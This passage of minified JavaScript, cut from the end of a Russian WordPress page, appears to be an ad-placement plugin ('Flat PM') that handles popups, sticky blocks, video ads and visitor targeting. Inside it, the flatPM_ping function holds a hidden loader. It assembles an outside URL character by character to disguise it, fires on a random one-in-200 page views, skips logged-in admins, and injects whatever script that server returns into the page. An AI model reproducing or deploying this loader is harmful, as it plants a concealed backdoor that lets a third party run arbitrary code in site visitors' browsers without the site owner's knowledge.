r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script></div><script type="text/javascript" defer src="https://zdrons.ru/wp-content/cache/wmac/js/wmac_7307a3ef4f9e3c6360b755c2f5e1a383.js"></script></body></html>